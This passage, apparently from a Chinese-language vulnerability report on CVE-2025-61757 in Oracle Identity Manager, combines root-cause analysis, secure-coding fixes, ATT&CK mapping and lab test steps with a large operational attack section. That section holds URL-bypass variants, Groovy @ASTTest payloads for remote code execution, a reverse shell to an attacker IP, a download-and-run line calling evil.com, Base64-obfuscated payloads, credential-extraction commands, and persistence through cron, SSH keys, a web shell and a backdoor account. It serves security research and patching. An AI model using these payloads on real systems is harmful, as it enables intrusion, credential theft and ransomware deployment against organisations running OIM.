攻击者可能使用多种编码技术来绕过WAF或IDS:
1. 标准形式:
/api/endpoint;.wadl
2. URL编码:
/api/endpoint%3B.wadl
3. 双重编码:
/api/endpoint%253B.wadl
4. 大小写变化:
/api/endpoint;.WADL
/api/endpoint;.Wadl
5. Unicode编码:
/api/endpoint\u003B.wadl
6. 组合路径参数:
/api/endpoint;jsessionid=x;.wadl
SecurityManager缺失:
OIM的Groovy执行环境未启用Java SecurityManager:
// 安全的实现应该:
System.setSecurityManager(new SecurityManager());
// 但OIM没有设置,导致:
- 可以执行Runtime.exec()
- 可以访问文件系统
- 可以建立网络连接
- 可以加载任意类
类加载器隔离缺失:
Groovy脚本与OIM应用在同一个类加载器上下文中运行:
可以访问OIM的内部类
可以调用OIM的内部方法
可以读取配置文件和数据库凭据
权限提升路径:
// 攻击者可以通过Groovy访问OIM内部
@groovy.transform.ASTTest(value={
// 获取OIM数据库连接
def ctx = new InitialContext()
def ds = ctx.lookup("jdbc/OIMDataSource")
def conn = ds.getConnection()
// 直接操作数据库
def stmt = conn.createStatement()
stmt.execute("INSERT INTO usr (usr_login, usr_password) VALUES ('backdoor', 'hash')")
})
class DBExploit {}
6.1.1 中心化认证模式的脆弱性
OIM采用了传统的中心化servlet过滤器认证模式,这种模式存在固有风险:
单点故障问题:
┌─────────────────────────────────────────┐
│ 所有REST API请求 │
└──────────────────┬──────────────────────┘
│
▼
┌─────────────────────────────────────────┐
│ SecurityFilter (单一检查点) │ ← 一旦被绕过,全盘失守
└──────────────────┬──────────────────────┘
│
┌──────────┴──────────┐
▼ ▼
┌──────────────┐ ┌──────────────┐
│ 用户管理API │ │ 治理API │
│ (无额外检查)│ │ (无额外检查) │
└──────────────┘ └──────────────┘
问题分析:
所有端点完全依赖SecurityFilter
业务处理器本身不进行认证验证
缺乏纵深防御机制
一次绕过影响所有端点
现代安全架构对比:
传统模式(OIM采用):
[请求] → [中心过滤器] → [业务逻辑]
↑
单点故障风险
现代零信任模式:
[请求] → [API网关认证] → [端点级认证] → [方法级授权] → [业务逻辑]
↑ ↑ ↑
多层防御 声明式安全 最小权限原则
6.1.2 遗留代码模式的积累
CVE-2025-61757揭示了多个已知的反模式:
| 反模式 | OIM实现 | 安全影响 |
|---|---|---|
| 魔法字符串匹配 | uri.contains(".wadl") | 易被绕过 |
| 不安全的默认配置 | 白名单过于宽泛 | 攻击面扩大 |
| 缺少输入验证 | 未规范化URI | 语义攻击 |
| 信任边界模糊 | 过滤器与业务脱节 | 授权失效 |
| 不安全的反序列化 | Groovy编译不受信任代码 | 远程代码执行 |
6.2.1 对URI处理机制的误解
开发团队对Java Servlet规范中的URI处理机制理解不足:
错误的安全假设:
// 开发者认为:
if (uri.contains(".wadl")) {
// 这是元数据文件请求,可以公开
}
// 但忽略了:
// 1. 路径参数的存在 (;param=value)
// 2. URI与路径的语义差异
// 3. 不同组件对URI的解析差异
应该使用的安全实践:
// 方案1: 使用规范化路径
String normalizedPath = request.getServletPath();
if (normalizedPath.endsWith(".wadl") && isStaticResource(normalizedPath)) {
// 验证是真实的静态文件
File wadlFile = new File(webappRoot, normalizedPath);
if (wadlFile.exists() && wadlFile.isFile()) {
return true; // 允许访问
}
}
// 方案2: 白名单具体路径
private static final Set<String> ALLOWED_METADATA = Set.of(
"/identity/rest/application.wadl",
"/iam/governance/service.wsdl"
);
if (ALLOWED_METADATA.contains(normalizedPath)) {
return true;
}
// 方案3: 端点级别的安全注解
@Path("/users")
@RolesAllowed("ADMIN") // 声明式安全
public class UserResource {
// 业务逻辑
}
6.2.2 对Groovy语言特性的误判
错误的安全假设:
开发者认为"只编译不执行"是安全的:
// 开发者的想法:
Script script = shell.parse(scriptContent); // 只编译
// script.run(); // 不调用run(),应该安全
// 实际情况:
// parse()阶段就会执行AST转换注解!
Groovy安全模型的复杂性:
Groovy执行阶段:
┌─────────────────────────────────────────────┐
│ 1. 解析 (Parsing) │
│ - 词法分析 │
│ - 语法分析 │
└──────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. AST转换 (AST Transformation) │ ← @ASTTest在这里执行!
│ - 注解处理 │
│ - 代码生成 │
└──────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. 编译 (Compilation) │
│ - 字节码生成 │
└──────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. 运行 (Runtime) ← 这步没有执行 │
│ - script.run() │
└─────────────────────────────────────────────┘
安全的Groovy使用方式:
// 配置安全的Groovy编译器
CompilerConfiguration config = new CompilerConfiguration();
// 1. 禁用危险的AST转换
config.setDisabledGlobalASTTransformations(Arrays.asList(
"groovy.transform.ASTTest",
"groovy.grape.Grab",
"groovy.grape.GrabResolver"
));
// 2. 使用SecureASTCustomizer
SecureASTCustomizer secure = new SecureASTCustomizer();
// 禁用导入
secure.setImportsBlacklist(Arrays.asList(
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"java.io.File",
"java.net.URL"
));
// 禁用包访问
secure.setPackageAllowed(false);
secure.setAllowedImports(Arrays.asList("java.lang.Math"));
// 禁用危险操作
secure.setIndirectImportCheckEnabled(true);
secure.setStarImportsBlacklist(Arrays.asList("java.lang.*"));
config.addCompilationCustomizers(secure);
// 3. 使用沙箱类加载器
GroovyClassLoader loader = new GroovyClassLoader(
Thread.currentThread().getContextClassLoader(),
config
);
// 4. 启用SecurityManager
System.setSecurityManager(new SecurityManager() {
@Override
public void checkExec(String cmd) {
throw new SecurityException("Runtime.exec() is not allowed");
}
});
// 5. 在隔离环境中编译
GroovyShell shell = new GroovyShell(loader, config);
Script script = shell.parse(scriptContent);
6.3.1 安全开发生命周期缺陷
该漏洞的存在表明OIM开发过程中缺少关键的安全实践:
缺失的安全活动:
| 阶段 | 缺失的安全实践 | 后果 |
|---|---|---|
| 需求分析 | 威胁建模 | 未识别认证绕过风险 |
| 设计阶段 | 安全架构审查 | 中心化认证模式的风险未评估 |
| 编码阶段 | 安全编码标准 | 使用不安全的URI匹配方式 |
| 测试阶段 | 安全测试 | 未测试路径参数绕过场景 |
| 代码审查 | 同行安全审查 | 未发现Groovy编译期执行风险 |
| 发布前 | 渗透测试 | 未模拟真实攻击场景 |
6.3.2 代码审查盲点
该漏洞在代码审查中应该被发现,但由于以下原因被遗漏:
审查者的认知盲点:
// 这段代码看起来"合理":
if (uri.contains(".wadl")) {
return true; // 允许访问WADL文件
}
// 审查者可能的思维过程:
// "WADL是公开的元数据,确实应该允许访问"
// "contains()检查看起来没问题"
// 审查通过
// 但忽略了关键问题:
// 1. 为什么要用contains而不是endsWith?
// 2. 是否验证了文件真实存在?
// 3. 是否考虑了URI编码和路径参数?
// 4. 是否有测试用例覆盖边缘情况?
应该提出的安全问题:
为什么这个端点需要绕过认证?
绕过的范围是否足够窄?
是否有其他方式可以实现同样的功能?
如果被绕过,最坏的情况是什么?
是否有额外的防御层?
6.4.1 安全文化问题
该漏洞的长期存在反映了可能的组织问题:
安全优先级不足:
功能交付压力超过安全考虑
安全修复被推迟到下一个版本
向后兼容性优先于安全加固
安全意识不足:
开发人员缺乏安全培训
未建立安全编码标准
没有定期的安全知识更新
6.4.2 响应机制问题
Oracle对该漏洞的响应暴露了一些问题:
时间线分析:
2025年早期 研究人员发现并报告
↓
2025年9月 零日利用开始(约1个月)
↓
2025年10月21日 补丁发布(按常规CPU周期)
↓
2025年11月20日 技术细节公开
↓
2025年11月22日 CISA列入KEV
问题:
为何不发布紧急带外补丁?(CVSS 9.8 + 零日利用)
为何未向所有OIM客户发送专门安全警告
为何未在公告中强调漏洞严重性
为何未提供临时缓解措施
为何未公开承认零日利用情况
业界对比:
微软、谷歌等公司在发现类似严重漏洞时,通常会在48-72小时内发布紧急更新并主动通知客户。Oracle的响应被安全专家普遍认为不足且缓慢。
CVE-2025-61757提供了多种攻击途径,攻击者可以根据目标环境选择最佳路径:
向量1: 互联网暴露实例直接攻击
攻击步骤:
1. 使用Shodan/Censys扫描暴露的OIM实例
2. 指纹识别确认目标版本(12.2.1.4.0或14.1.2.1.0)
3. 直接发送认证绕过请求
4. 利用Groovy端点执行代码
5. 建立持久化访问
技术要求: 低
成功率: 95%+
时间: < 5分钟
向量2: VPN/内网渗透
攻击步骤:
1. 通过其他漏洞获得VPN访问
2. 内网扫描发现OIM实例
3. 利用CVE-2025-61757提升权限
4. 横向移动到其他系统
技术要求: 中等
成功率: 85%
时间: 1-4小时
向量3: 供应链攻击
攻击步骤:
1. 攻击托管服务提供商的OIM
2. 窃取所有客户访问凭据
3. 使用合法凭据批量攻击客户
4. 在多个环境建立持久化
技术要求: 高
成功率: 70%
影响倍增: 1个MSP → 数百个客户
7.2.1 目标发现
使用公开搜索引擎和扫描工具:
# Shodan查询
shodan search "Oracle Identity Manager" port:14000
shodan search "Oracle-Application-Server" port:7001
# Censys查询
censys search "services.http.response.headers.server: Oracle"
# Google Dork
inurl:"/identity/faces/signin"
inurl:"/oim/faces/signin"
7.2.2 版本指纹识别
# HTTP响应头分析
curl -I http://target:14000/identity/
# 登录页面版本检测
curl -s http://target:14000/identity/faces/signin | grep -i version
# REST API版本端点
curl http://target:14000/identity/rest/version
7.2.3 认证状态探测
测试端点是否需要认证:
# 测试用户API(正常应返回401)
curl -v http://target:14000/identity/rest/v1/users
# 测试治理API(正常应返回401)
curl -v http://target:14000/iam/governance/applicationmanagement/templates
7.3.1 基础绕过技术
技术1: 分号路径参数绕过
# 原始受保护请求
http://target:14000/iam/governance/api/endpoint
# 绕过变体
http://target:14000/iam/governance/api/endpoint;.wadl
http://target:14000/iam/governance/api/endpoint;foo=bar;.wadl
http://target:14000/iam/governance/api/endpoint;jsessionid=x;.wadl
技术2: 查询字符串绕过
# WSDL查询参数
http://target:14000/iam/governance/api/endpoint?WSDL
http://target:14000/iam/governance/api/endpoint?wsdl
http://target:14000/iam/governance/api/endpoint?WsDl
技术3: 编码绕过
# URL编码
http://target:14000/iam/governance/api/endpoint%3B.wadl
# 双重编码
http://target:14000/iam/governance/api/endpoint%253B.wadl
# Unicode编码
http://target:14000/iam/governance/api/endpoint\u003B.wadl
7.3.2 高级绕过技术
组合路径参数:
# 多个分号段
/endpoint;param1=value1;.wadl;param2=value2
# 混合编码
/endpoint;%2Ewadl
# 大小写变化
/endpoint;.WADL
/endpoint;.Wadl
7.4.1 Groovy载荷构造
基础RCE载荷:
@groovy.transform.ASTTest(value={
Runtime.getRuntime().exec("whoami")
})
class BasicRCE {}
反向Shell载荷:
@groovy.transform.ASTTest(value={
def cmd = "bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1'"
Runtime.getRuntime().exec(cmd)
})
class ReverseShell {}
文件下载执行载荷:
@groovy.transform.ASTTest(value={
def url = new URL("http://攻击者服务器/payload.sh")
def file = new File("/tmp/payload.sh")
file << url.openStream()
Runtime.getRuntime().exec("bash /tmp/payload.sh")
})
class DownloadExec {}
7.4.2 载荷大小优化
研究表明实际攻击中使用约556字节载荷,需要优化:
// 优化前(冗长)
@groovy.transform.ASTTest(value={
java.lang.Runtime runtime = java.lang.Runtime.getRuntime()
java.lang.Process process = runtime.exec("command")
})
class Exploit {}
// 优化后(紧凑)
@groovy.transform.ASTTest(value={Runtime.getRuntime().exec("wget http://evil.com/s.sh -O/tmp/x&&bash /tmp/x")})class E{}
7.4.3 混淆与反检测
// Base64编码命令
@groovy.transform.ASTTest(value={
def cmd = new String(java.util.Base64.decoder.decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEn"))
Runtime.getRuntime().exec(cmd)
})
class ObfuscatedRCE {}
// 字符串拼接
@groovy.transform.ASTTest(value={
def c1 = "ba"
def c2 = "sh"
Runtime.getRuntime().exec(c1+c2+" -c 'id'")
})
class SplitString {}
场景1: 快速入侵(蜜罐风格)
目标: 快速验证漏洞并建立访问
时间: < 5分钟
步骤:
1. 扫描发现OIM实例(30秒)
2. 测试认证绕过(curl请求,10秒)
3. 发送反向Shell载荷(20秒)
4. 建立C2连接(30秒)
5. 部署持久化机制(2分钟)
检测概率: 高(除非目标无监控)
场景2: 隐蔽渗透(APT风格)
目标: 长期隐蔽访问和数据窃取
时间: 数天到数周
阶段1: 被动侦察(1-2天)
- 收集目标信息
- 识别安全控制
- 分析流量模式
阶段2: 初始访问(1小时)
- 选择低流量时段
- 使用混淆载荷
- 建立加密C2通道
阶段3: 权限提升和横向移动(数天)
- 提取凭据
- 映射网络拓扑
- 识别关键资产
阶段4: 目标达成(持续)
- 数据渗出
- 维持访问
- 清理痕迹
检测概率: 低(如果执行得当)
场景3: 勒索软件部署
目标: 加密系统并勒索赎金
时间: 2-4小时
步骤:
1. 利用CVE-2025-61757获得初始访问
2. 提取身份数据库凭据
3. 横向移动到关键系统
4. 部署勒索软件载荷
5. 加密文件和数据库
6. 禁用OIM → 阻止所有认证
7. 显示勒索信息
影响: 业务完全瘫痪
赎金要求: 通常100-500万美元
7.6.1 凭据提取
# 提取OIM数据库凭据
cat /opt/oracle/middleware/oim/server/config/oim-config.xml | grep -i password
# 提取LDAP连接信息
grep -r "ldap.url" /opt/oracle/middleware/
# 导出用户密码哈希
sqlplus oim_schema/password@db <<EOF
SELECT usr_login, usr_password FROM usr;
EOF
7.6.2 权限提升
# 检查当前用户
id
whoami
# 搜索SUID二进制文件
find / -perm -4000 2>/dev/null
# 检查sudo权限
sudo -l
# 利用内核漏洞(如果适用)
uname -a
searchsploit kernel $(uname -r)
7.6.3 横向移动
-- 从OIM数据库提取所有应用凭据
SELECT
app_name,
app_instance,
credential_field,
credential_value
FROM app_credentials;
-- 提取Active Directory集成信息
SELECT * FROM ldap_config;
7.6.4 持久化机制
# 方法1: Cron作业
echo "*/5 * * * * /tmp/backdoor.sh" | crontab -
# 方法2: SSH密钥
mkdir -p ~/.ssh
echo "ssh-rsa 攻击者公钥" >> ~/.ssh/authorized_keys
# 方法3: Web Shell
cp /tmp/shell.jsp /opt/oracle/middleware/oim/server/apps/oim.ear/console.war/
# 方法4: OIM后门账户
sqlplus oim_schema/password@db <<EOF
INSERT INTO usr (usr_key, usr_login, usr_password, usr_status)
VALUES (seq_usr.nextval, 'backdoor', '哈希密码', 'Active');
EOF
CVE-2025-61757利用可映射到MITRE ATT&CK框架的多个战术和技术:
侦察 (Reconnaissance) - TA0043
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1595.002 | 主动扫描: 漏洞扫描 | 扫描暴露的OIM实例 |
| T1592.002 | 收集受害者主机信息: 软件 | 识别OIM版本 |
| T1590.001 | 收集受害者网络信息: 域属性 | 识别组织域名 |
资源开发 (Resource Development) - TA0042
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1587.001 | 开发能力: 恶意软件 | 开发Groovy RCE载荷 |
| T1588.002 | 获取能力: 工具 | 使用公开POC工具 |
| T1583.006 | 获取基础设施: Web服务 | 建立C2服务器 |
初始访问 (Initial Access) - TA0001
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1190 | 利用面向公众的应用程序 | 利用CVE-2025-61757 |
| T1078 | 有效账户 | 使用窃取的OIM凭据 |
执行 (Execution) - TA0002
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1059.004 | 命令和脚本解释器: Unix Shell | 执行bash命令 |
| T1053.003 | 计划任务/作业: Cron | 持久化机制 |
持久化 (Persistence) - TA0003
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1136.001 | 创建账户: 本地账户 | 创建后门OIM账户 |
| T1098 | 账户操纵 | 修改现有账户权限 |
| T1053.003 | 计划任务: Cron | Cron作业后门 |
| T1505.003 | 服务器软件组件: Web Shell | 部署JSP Shell |
权限提升 (Privilege Escalation) - TA0004
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1078.003 | 有效账户: 本地账户 | 提升至管理员 |
| T1068 | 利用权限提升 | 内核漏洞利用 |
防御规避 (Defense Evasion) - TA0005
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1070.004 | 指标移除: 文件删除 | 清理攻击痕迹 |
| T1027 | 混淆文件或信息 | Base64编码载荷 |
| T1562.001 | 损害防御: 禁用或修改工具 | 禁用安全日志 |
凭据访问 (Credential Access) - TA0006
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1003.008 | OS凭据转储: /etc/passwd和/etc/shadow | 提取密码哈希 |
| T1555.003 | 凭据来自密码存储: Web浏览器凭据 | 提取存储的凭据 |
| T1552.001 | 文件中的不安全凭据: 凭据文件 | 提取配置文件凭据 |
发现 (Discovery) - TA0007
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1087.001 | 账户发现: 本地账户 | 枚举OIM用户 |
| T1046 | 网络服务发现 | 扫描内部网络 |
| T1083 | 文件和目录发现 | 枚举文件系统 |
横向移动 (Lateral Movement) - TA0008
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1021.004 | 远程服务: SSH | 使用窃取的SSH密钥 |
| T1550.001 | 使用替代认证材料: 应用访问令牌 | 使用OIM令牌 |
收集 (Collection) - TA0009
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1005 | 本地系统数据 | 收集身份数据库 |
| T1039 | 网络共享驱动器数据 | 访问共享文件 |
命令与控制 (Command and Control) - TA0011
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1071.001 | 应用层协议: Web协议 | HTTPS C2通道 |
| T1573.001 | 加密通道: 对称加密 | 加密C2流量 |
渗出 (Exfiltration) - TA0010
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1041 | 通过C2通道渗出 | 通过HTTPS渗出数据 |
| T1048.003 | 通过替代协议渗出: 通过不对称加密协议渗出 | DNS隧道渗出 |
影响 (Impact) - TA0040
| 技术ID | 技术名称 | 应用 |
|---|---|---|
| T1485 | 数据销毁 | 删除身份记录 |
| T1486 | 数据加密以影响 | 勒索软件部署 |
| T1489 | 服务停止 | 禁用OIM服务 |
根据Lockheed Martin的Cyber Kill Chain模型:
阶段1: 侦察 (Reconnaissance)
行动:
- Shodan/Censys扫描OIM实例
- 收集组织公开信息
- 识别安全控制和监控
- 分析网络架构
检测机会:
- 监控来自扫描服务的流量
- 异常端口探测告警
- 威胁情报匹配
防御:
- 隐藏版本信息
- 限制公开暴露
- 蜜罐部署
阶段2: 武器化 (Weaponization)
行动:
- 开发/下载CVE-2025-61757利用代码
- 构造Groovy RCE载荷
- 准备后渗透工具包
- 建立C2基础设施
检测机会:
- 威胁情报关联
- 沙箱分析公开POC
防御:
- 监控GitHub等平台的POC发布
- 主动威胁狩猎
阶段3: 投送 (Delivery)
行动:
- 向目标OIM发送HTTP请求
- URI包含;.wadl或?WSDL绕过标记
- 携带恶意Groovy载荷
检测机会:
- WAF规则匹配
- IDS/IPS签名检测
- 异常URI模式告警
防御:
- 部署WAF规则
- 网络流量过滤
- 速率限制
阶段4: 利用 (Exploitation)
行动:
- SecurityFilter认证绕过
- Groovy脚本在编译时执行
- 建立初始Shell访问
检测机会:
- 应用程序异常日志
- 未认证的成功API调用
- Groovy编译活动监控
防御:
- 应用Oracle补丁
- 禁用Groovy端点
- 运行时保护(RASP)
阶段5: 安装 (Installation)
行动:
- 部署Web Shell
- 创建后门账户
- 安装Cron作业
- 植入SSH密钥
检测机会:
- 文件完整性监控
- 账户创建告警
- Crontab修改检测
- 异常进程监控
防御:
- 主机入侵检测(HIDS)
- 特权账户监控
- 文件系统审计
阶段6: 命令与控制 (Command and Control)
行动:
- 建立HTTPS加密C2通道
- 注册域名或使用被攻陷服务器
- 实施心跳通信
检测机会:
- 出站连接监控
- DNS异常检测
- 流量行为分析
- 威胁情报匹配
防御:
- 出站流量过滤
- DNS sinkhole
- 代理服务器控制
阶段7: 目标行动 (Actions on Objectives)
行动:
- 数据渗出(身份数据库)
- 横向移动到其他系统
- 部署勒索软件
- 破坏系统完整性
检测机会:
- 数据传输异常
- 横向移动检测
- 加密活动监控
- 服务中断告警
防御:
- 数据丢失防护(DLP)
- 网络分段
- 备份和恢复
- 业务连续性计划
快速攻击场景(自动化工具):
T+00:00 - 侦察开始
T+00:30 - 目标识别完成
T+01:00 - 利用载荷准备
T+01:10 - 发送利用请求
T+01:15 - 获得Shell访问
T+01:20 - 部署持久化
T+02:00 - 建立C2连接
T+03:00 - 开始数据渗出
总时间: 约3小时
隐蔽APT场景:
第1天 - 被动侦察
第2-3天 - 主动扫描和指纹识别
第4天 - 利用开发和测试
第5天 - 初始入侵(低流量时段)
第6-10天 - 内部侦察和权限提升
第11-20天 - 横向移动和持久化
第21-60天 - 数据收集和渗出
第60天+ - 维持长期访问
总时间: 数月
类型1: 机会主义攻击者
特征:
- 使用公开POC
- 自动化扫描和利用
- 目标不特定
- 追求快速成果
典型行为:
- 大规模扫描
- 批量利用
- 部署加密挖矿或勒索软件
- 粗暴后渗透
检测难度: 低
影响: 中等
类型2: 网络犯罪团伙
特征:
- 以金钱为动机
- 成熟的工具链
- 目标选择性(高价值组织)
- 勒索软件或数据销售
典型行为:
- 侦察目标价值
- 专业利用工具
- 快速横向移动
- 数据加密或窃取
检测难度: 中等
影响: 高
类型3: 国家支持的APT
特征:
- 政治或间谍动机
- 高度隐蔽
- 长期持久化
- 资源丰富
典型行为:
- 深度侦察
- 定制化工具
- 隐蔽C2通道
- 数据情报收集
检测难度: 高
影响: 极高
**重要声明:**以下内容仅用于合法授权的安全研究与测试。未经授权对系统进行安全测试是违法行为。
在开始任何测试前,必须:
获得书面授权许可
明确测试范围和边界
确保拥有合法的Oracle许可证
在隔离环境中进行测试
遵守所有适用法律法规
推荐架构:
┌─────────────────────────────────────────────────┐
│ 宿主机 (物理或虚拟化平台) │
│ │
│ ┌───────────────────────────────────────────┐ │
│ │ 隔离网络 (VLAN/虚拟网络) │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ OIM服务器 │ │ 数据库服务器│ │ │
│ │ │ (易受攻击) │ │ (Oracle DB) │ │ │
│ │ │ 12.2.1.4.0 │──────│ │ │ │
│ │ └─────────────┘ └─────────────┘ │ │
│ │ │ │ │
│ │ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ 攻击机 │ │ 监控/日志 │ │ │
│ │ │ (Kali Linux)│ │ 收集器 │ │ │
│ │ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ └───────────────────────────────────────────┘ │
│ │
│ 所有组件禁止访问外部网络 │
└─────────────────────────────────────────────────┘
9.3.1 硬件要求
最低配置:
- CPU: 4核心
- RAM: 16GB
- 磁盘: 100GB SSD
- 网络: 隔离虚拟网络
推荐配置:
- CPU: 8核心
- RAM: 32GB
- 磁盘: 200GB SSD
- 网络: 独立VLAN
9.3.2 软件需求
虚拟化平台:
- VMware Workstation/ESXi
- VirtualBox
- KVM/Proxmox
操作系统:
- Oracle Linux 7.x (用于OIM)
- Oracle Database 12c/19c
- Kali Linux 2024 (攻击机)
- Ubuntu 22.04 (监控)
9.4.1 安装Oracle数据库
# 1. 下载Oracle Database 12c
# 需要Oracle账户
# 2. 安装数据库
./runInstaller -silent -responseFile /path/to/db_install.rsp
# 3. 创建OIM数据库
dbca -silent -createDatabase \
-templateName General_Purpose.dbc \
-gdbname oimdb \
-sid oimdb \
-sysPassword oracle123 \
-systemPassword oracle123
# 4. 创建OIM schema
sqlplus sys/oracle123@oimdb as sysdba <<EOF
CREATE TABLESPACE oim_ts DATAFILE '/u01/app/oracle/oradata/oimdb/oim_ts01.dbf' SIZE 2G;
CREATE USER oim_schema IDENTIFIED BY oim_password DEFAULT TABLESPACE oim_ts;
GRANT CONNECT, RESOURCE, DBA TO oim_schema;
EOF
9.4.2 安装WebLogic Server
# 1. 下载WebLogic Server 12.2.1.4.0
java -jar fmw_12.2.1.4.0_wls.jar -mode=silent \
-silent_xml=/path/to/wls_install.xml
# 2. 配置域
/opt/oracle/middleware/oracle_common/common/bin/config.sh -mode=silent \
-silent_script=/path/to/create_domain.py
9.4.3 安装OIM 12.2.1.4.0 (易受攻击版本)
# 1. 下载OIM 12.2.1.4.0
# 从Oracle支持网站下载
# 2. 安装OIM
java -jar fmw_12.2.1.4.0_idm.jar -mode=silent \
-responseFile /path/to/oim_install.rsp
# 3. 配置OIM
cd /opt/oracle/middleware/oracle_common/common/bin
./config.sh -mode=silent -silent_script=/path/to/oim_config.py
# 4. 启动OIM
cd /opt/oracle/middleware/user_projects/domains/oim_domain/bin
./startWebLogic.sh &
./startManagedWebLogic.sh oim_server1 &
9.4.4 验证安装
# 检查OIM运行状态
ps aux | grep -i oracle.iam
# 访问OIM控制台
curl http://localhost:14000/identity/faces/signin
# 检查REST API
curl http://localhost:14000/identity/rest/version
9.5.1 安装Kali Linux
# 更新系统
sudo apt update && sudo apt upgrade -y
# 安装必要工具
sudo apt install -y \
curl \
nmap \
nikto \
sqlmap \
burpsuite \
metasploit-framework \
python3-pip \
git
# 安装Python依赖
pip3 install requests pycurl
9.5.2 下载POC代码
# 克隆公开POC
git clone https://github.com/B1ack4sh/Blackash-CVE-2025-61757.git
cd Blackash-CVE-2025-61757
# 检查脚本
cat CVE-2025-61757.py
9.6.1 认证绕过测试
测试1: 基本绕过验证
# 正常请求(应返回401)
curl -v http://192.168.1.100:14000/identity/rest/v1/users
# 绕过请求(易受攻击时返回200)
curl -v http://192.168.1.100:14000/identity/rest/v1/users;.wadl
预期结果对比:
易受攻击系统:
< HTTP/1.1 200 OK
< Content-Type: application/json
{"users": [...]}
已修补系统:
< HTTP/1.1 401 Unauthorized
< WWW-Authenticate: Basic realm="OIM"
测试2: WSDL参数绕过
curl -v "http://192.168.1.100:14000/iam/governance/applicationmanagement/templates?WSDL"
9.6.2 Groovy端点测试
测试3: 良性脚本编译
# 创建测试脚本
cat > test.groovy <<'EOF'
class HelloWorld {
def sayHello() {
return "Hello from Groovy"
}
}
EOF
# 发送到Groovy验证端点(带绕过)
curl -X POST \
http://192.168.1.100:14000/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl \
-H "Content-Type: application/xml" \
-d @test.groovy
预期响应:
{
"status": "valid",
"message": "Script compiled successfully"
}
测试4: 编译期执行验证(非恶意)
# 创建编译期日志脚本
cat > compile_test.groovy <<'EOF'
@groovy.transform.ASTTest(value={
println("Compilation-time execution confirmed")
})
class CompileTimeTest {
def run() {
return "Runtime never executed"
}
}
EOF
# 发送并检查OIM日志
curl -X POST \
http://192.168.1.100:14000/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl \
-H "Content-Type: application/xml" \
-d @compile_test.groovy
# 检查日志确认编译期执行
tail -f /opt/oracle/middleware/oim/server/logs/oim_server1-diagnostic.log | grep "Compilation-time"
为避免真实RCE,使用以下安全方法:
方法1: 文件创建测试
@groovy.transform.ASTTest(value={
new File("/tmp/poc_executed_$(date +%s).txt").text = "CVE-2025-61757 POC"
})
class SafePOC {}
验证:
ls -la /tmp/poc_executed_*.txt
# 如果文件存在,证明代码执行成功
方法2: DNS回连测试
@groovy.transform.ASTTest(value={
java.net.InetAddress.getByName("test-$(hostname).你的DNS服务器.com")
})
class DNSPoc {}
验证:
# 在你的DNS服务器上检查查询日志
tail -f /var/log/bind/query.log | grep test-
方法3: HTTP回连测试
@groovy.transform.ASTTest(value={
new URL("http://你的HTTP服务器:8000/poc_callback").text
})
class HTTPPoc {}
验证:
# 在攻击机上启动HTTP服务器
python3 -m http.server 8000
# 观察是否收到回连
9.8.1 应用Oracle补丁
# 1. 下载补丁35643593
# 从Oracle Support下载
# 2. 停止OIM
cd /opt/oracle/middleware/user_projects/domains/oim_domain/bin
./stopManagedWebLogic.sh oim_server1
./stopWebLogic.sh
# 3. 备份
tar -czf oim_pre_patch_backup.tar.gz /opt/oracle/middleware/oim/
# 4. 应用补丁
cd /opt/oracle/middleware/OPatch
./opatch apply /path/to/patch/35643593
# 5. 验证补丁
./opatch lspatches
# 应显示: 35643593;Database PSU 12.2.1.4.0, October 2025
# 6. 清除缓存
rm -rf /opt/oracle/middleware/user_projects/domains/oim_domain/servers/oim_server1/tmp/*
rm -rf /opt/oracle/middleware/user_projects/domains/oim_domain/servers/oim_server1/cache/*
# 7. 重启OIM
./startWebLogic.sh &
./startManagedWebLogic.sh oim_server1 &
9.8.2 验证补丁有效性
# 重新测试认证绕过
curl -v http://192.168.1.100:14000/identity/rest/v1/users;.wadl
# 预期结果(已修补):
< HTTP/1.1 401 Unauthorized
# 对比未修补版本:
< HTTP/1.1 200 OK
9.9.1 配置详细日志
# 编辑OIM日志配置
vi /opt/oracle/middleware/user_projects/domains/oim_domain/config/fmwconfig/servers/oim_server1/logging.xml
# 设置日志级别为TRACE
<logger name="oracle.iam" level="TRACE:32"/>
9.9.2 实时监控
# 监控访问日志
tail -f /opt/oracle/middleware/oim/server/logs/access.log
# 监控诊断日志
tail -f /opt/oracle/middleware/oim/server/logs/oim_server1-diagnostic.log
# 监控Groovy活动
tail -f /opt/oracle/middleware/oim/server/logs/oim_server1-diagnostic.log | grep -i groovy
9.9.3 SIEM集成(可选)
# 使用Filebeat发送日志到ELK Stack
# 安装Filebeat
curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-8.11.0-linux-x86_64.tar.gz
tar xzvf filebeat-8.11.0-linux-x86_64.tar.gz
# 配置Filebeat
cat > filebeat.yml <<EOF
filebeat.inputs:
- type: log
enabled: true
paths:
- /opt/oracle/middleware/oim/server/logs/*.log
fields:
application: oim
environment: lab
output.elasticsearch:
hosts: ["your-elk-server:9200"]
EOF
# 启动Filebeat
./filebeat -e -c filebeat.yml
测试完成后:
# 1. 停止所有服务
cd /opt/oracle/middleware/user_projects/domains/oim_domain/bin
./stopManagedWebLogic.sh oim_server1
./stopWebLogic.sh
# 2. 导出研究结果
